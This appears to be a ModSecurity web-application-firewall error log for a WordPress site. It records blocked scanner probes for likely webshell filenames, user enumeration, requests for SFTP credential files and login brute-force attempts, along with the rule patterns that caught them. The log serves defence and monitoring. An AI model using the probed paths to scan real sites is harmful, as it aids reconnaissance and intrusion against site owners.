[Tue May 19 03:59:04.802762 2026] [:error] [pid 7247:tid 7263] [client 172.173.117.54:59827] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agtviO9uxDIeS3iFXFNZ6AAAAM4"]
[Tue May 19 03:59:05.105109 2026] [:error] [pid 7155:tid 7235] [client 129.121.41.228:51134] [client 129.121.41.228] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agtviQWT91ktORXJ8aawRwAAAJA"]
[Tue May 19 03:59:05.194266 2026] [:error] [pid 7247:tid 7266] [client 172.173.117.54:65211] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "agtvie9uxDIeS3iFXFNZ6QAAANE"]
[Tue May 19 03:59:05.679860 2026] [:error] [pid 7247:tid 7265] [client 172.173.117.54:65263] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agtvie9uxDIeS3iFXFNZ6gAAANA"]
[Tue May 19 03:59:06.082768 2026] [:error] [pid 7155:tid 7222] [client 172.173.117.54:65173] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agtvigWT91ktORXJ8aawSAAAAIM"]
[Tue May 19 03:59:06.487643 2026] [:error] [pid 7153:tid 7171] [client 172.173.117.54:59858] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agtviqdpROLG9jbcqcj9GgAAAAY"]
[Tue May 19 03:59:06.894685 2026] [:error] [pid 7155:tid 7220] [client 172.173.117.54:59874] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login8.php"] [unique_id "agtvigWT91ktORXJ8aawSQAAAIE"]
[Tue May 19 03:59:07.325864 2026] [:error] [pid 7155:tid 7223] [client 172.173.117.54:64467] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oiqcXuO.php"] [unique_id "agtviwWT91ktORXJ8aawSgAAAIQ"]
[Tue May 19 03:59:07.730063 2026] [:error] [pid 7155:tid 7224] [client 172.173.117.54:62924] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oiqcXuO.php"] [unique_id "agtviwWT91ktORXJ8aawSwAAAIU"]
[Tue May 19 03:59:08.201455 2026] [:error] [pid 7155:tid 7225] [client 172.173.117.54:59346] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oiqcXuO.php"] [unique_id "agtvjAWT91ktORXJ8aawTAAAAIY"]
[Tue May 19 03:59:08.658399 2026] [:error] [pid 7247:tid 7258] [client 172.173.117.54:64488] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oiqcXuO.php"] [unique_id "agtvjO9uxDIeS3iFXFNZ6wAAAMk"]
[Tue May 19 03:59:09.107780 2026] [:error] [pid 7155:tid 7226] [client 172.173.117.54:62955] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "agtvjQWT91ktORXJ8aawTQAAAIc"]
[Tue May 19 03:59:09.554457 2026] [:error] [pid 7154:tid 7197] [client 172.173.117.54:59341] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "agtvjWl_r8j-0E4isJNAuwAAAEU"]
[Tue May 19 03:59:10.010499 2026] [:error] [pid 7155:tid 7227] [client 172.173.117.54:59345] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "agtvjgWT91ktORXJ8aawTgAAAIg"]
[Tue May 19 03:59:10.510806 2026] [:error] [pid 7153:tid 7174] [client 172.173.117.54:64475] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nx.php"] [unique_id "agtvjqdpROLG9jbcqcj9HAAAAAk"]
[Tue May 19 03:59:10.893960 2026] [:error] [pid 7154:tid 7204] [client 172.173.117.54:59857] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agtvjml_r8j-0E4isJNAvQAAAEw"]
[Tue May 19 03:59:11.344782 2026] [:error] [pid 7155:tid 7232] [client 172.173.117.54:59283] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agtvjwWT91ktORXJ8aawUAAAAI0"]
[Tue May 19 03:59:11.744402 2026] [:error] [pid 7154:tid 7193] [client 172.173.117.54:59776] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agtvj2l_r8j-0E4isJNAvwAAAEE"]
[Tue May 19 03:59:12.210115 2026] [:error] [pid 7154:tid 7205] [client 172.173.117.54:64445] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dr.php"] [unique_id "agtvkGl_r8j-0E4isJNAwAAAAE0"]
[Tue May 19 03:59:12.637664 2026] [:error] [pid 7155:tid 7237] [client 172.173.117.54:62891] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xamp.php"] [unique_id "agtvkAWT91ktORXJ8aawUgAAAJI"]
[Tue May 19 03:59:13.126546 2026] [:error] [pid 7154:tid 7207] [client 172.173.117.54:62942] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xamp.php"] [unique_id "agtvkWl_r8j-0E4isJNAwgAAAE8"]
[Tue May 19 03:59:13.615425 2026] [:error] [pid 7155:tid 7241] [client 172.173.117.54:59352] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xamp.php"] [unique_id "agtvkQWT91ktORXJ8aawVQAAAJY"]
[Tue May 19 03:59:14.049378 2026] [:error] [pid 7247:tid 7270] [client 172.173.117.54:64494] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xamp.php"] [unique_id "agtvku9uxDIeS3iFXFNZ7gAAANU"]
[Tue May 19 03:59:14.444219 2026] [:error] [pid 7155:tid 7221] [client 172.173.117.54:62848] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cA3bHIkVhgP.php"] [unique_id "agtvkgWT91ktORXJ8aawVwAAAII"]
[Tue May 19 03:59:14.866545 2026] [:error] [pid 7155:tid 7235] [client 172.173.117.54:62914] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cA3bHIkVhgP.php"] [unique_id "agtvkgWT91ktORXJ8aawWAAAAJA"]
[Tue May 19 03:59:15.323460 2026] [:error] [pid 7155:tid 7222] [client 172.173.117.54:65272] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cA3bHIkVhgP.php"] [unique_id "agtvkwWT91ktORXJ8aawWQAAAIM"]
[Tue May 19 03:59:15.744305 2026] [:error] [pid 7155:tid 7223] [client 172.173.117.54:64446] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cA3bHIkVhgP.php"] [unique_id "agtvkwWT91ktORXJ8aawWwAAAIQ"]
[Tue May 19 03:59:16.143308 2026] [:error] [pid 7155:tid 7224] [client 172.173.117.54:64490] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clas11.php"] [unique_id "agtvlAWT91ktORXJ8aawXAAAAIU"]
[Tue May 19 03:59:16.633517 2026] [:error] [pid 7247:tid 7268] [client 172.173.117.54:61462] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clas11.php"] [unique_id "agtvlO9uxDIeS3iFXFNZ8gAAANM"]
[Tue May 19 03:59:17.040743 2026] [:error] [pid 7247:tid 7254] [client 172.173.117.54:61448] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clas11.php"] [unique_id "agtvle9uxDIeS3iFXFNZ8wAAAMU"]
[Tue May 19 03:59:17.461279 2026] [:error] [pid 7154:tid 7215] [client 172.173.117.54:65257] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clas11.php"] [unique_id "agtvlWl_r8j-0E4isJNAxwAAAFc"]
[Tue May 19 04:17:57.140573 2026] [:error] [pid 41573:tid 41580] [client 103.28.36.216:52344] [client 103.28.36.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtz9S1A2bd6JDSW9RYV7QAAAQU"]
[Tue May 19 04:17:58.638041 2026] [:error] [pid 41573:tid 41585] [client 103.28.36.216:52344] [client 103.28.36.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtz9i1A2bd6JDSW9RYV7gAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 04:32:07.256134 2026] [:error] [pid 41573:tid 41599] [client 43.133.214.44:57268] [client 43.133.214.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.133.214.44, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agt3Ry1A2bd6JDSW9RYYogAAARg"]
[Tue May 19 04:38:56.022287 2026] [:error] [pid 38697:tid 38725] [client 43.133.14.237:38404] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agt44KXP9pP6Kgt-msSXmAAAAAo"]
[Tue May 19 04:50:27.692014 2026] [:error] [pid 38699:tid 38765] [client 103.65.237.216:55502] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "agt7k7--Adsw_P-dthYhTQAAAFc"]
[Tue May 19 04:50:28.991480 2026] [:error] [pid 38699:tid 38749] [client 103.65.237.216:55582] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "agt7lL--Adsw_P-dthYhTwAAAEc"]
[Tue May 19 05:10:45.227763 2026] [:error] [pid 38814:tid 38822] [client 94.136.170.101:53920] [client 94.136.170.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.170.101, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aguAVQvkKuBwP0epzWdJMgAAAMY"]
[Tue May 19 06:43:41.857807 2026] [:error] [pid 41573:tid 41580] [client 43.140.247.223:53512] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aguWHS1A2bd6JDSW9RY5wgAAAQU"]
[Tue May 19 06:46:04.786260 2026] [:error] [pid 41573:tid 41595] [client 204.10.194.72:56430] [client 204.10.194.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/core.php"] [unique_id "aguWrC1A2bd6JDSW9RY57AAAARQ"]
[Tue May 19 07:50:56.007963 2026] [:error] [pid 46896:tid 46904] [client 88.148.93.250:45331] [client 88.148.93.250] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agul4KCHyzL3Ci9LGE3uKAAAAYY"], referer: https://www.facebook.com/
[Tue May 19 07:50:57.756622 2026] [:error] [pid 46815:tid 46836] [client 88.148.85.177:45999] [client 88.148.85.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.148.85.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agul4SPnRhJOmA06LgoJPQAAAVM"]
[Tue May 19 07:51:00.257832 2026] [:error] [pid 38697:tid 38729] [client 94.76.142.119:26331] [client 94.76.142.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul5KXP9pP6Kgt-msTF2gAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:02.898865 2026] [:error] [pid 46815:tid 46839] [client 94.76.169.240:25769] [client 94.76.169.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul5iPnRhJOmA06LgoJPwAAAVY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:05.436540 2026] [:error] [pid 38697:tid 38720] [client 62.106.67.140:20233] [client 62.106.67.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.140, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul6aXP9pP6Kgt-msTF4wAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:07.951475 2026] [:error] [pid 38697:tid 38716] [client 94.76.142.117:26057] [client 94.76.142.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.142.117, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul66XP9pP6Kgt-msTF7AAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:10.465167 2026] [:error] [pid 46815:tid 46825] [client 88.148.85.17:62859] [client 88.148.85.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul7iPnRhJOmA06LgoJQAAAAUg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:12.975668 2026] [:error] [pid 38697:tid 38733] [client 88.148.85.61:34357] [client 88.148.85.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul8KXP9pP6Kgt-msTF8gAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:15.454946 2026] [:error] [pid 38697:tid 38726] [client 88.148.93.104:31679] [client 88.148.93.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.93.104, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul86XP9pP6Kgt-msTF9gAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:17.907591 2026] [:error] [pid 38697:tid 38720] [client 88.148.85.248:37277] [client 88.148.85.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul9aXP9pP6Kgt-msTF-AAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:20.346530 2026] [:error] [pid 38697:tid 38728] [client 62.106.67.78:45435] [client 62.106.67.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.106.67.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul-KXP9pP6Kgt-msTF-gAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:22.845911 2026] [:error] [pid 38699:tid 38752] [client 94.76.169.225:15005] [client 94.76.169.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.169.225, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul-r--Adsw_P-dthZCqQAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:25.352192 2026] [:error] [pid 38699:tid 38756] [client 88.148.85.16:32809] [client 88.148.85.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.148.85.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agul_b--Adsw_P-dthZCrQAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue May 19 07:51:28.292316 2026] [:error] [pid 38814:tid 38837] [client 94.76.159.15:39335] [client 94.76.159.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.76.159.15, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agumAAvkKuBwP0epzWdgjAAAANU"], referer: https://rcacivilgroup.com/wp-login.php
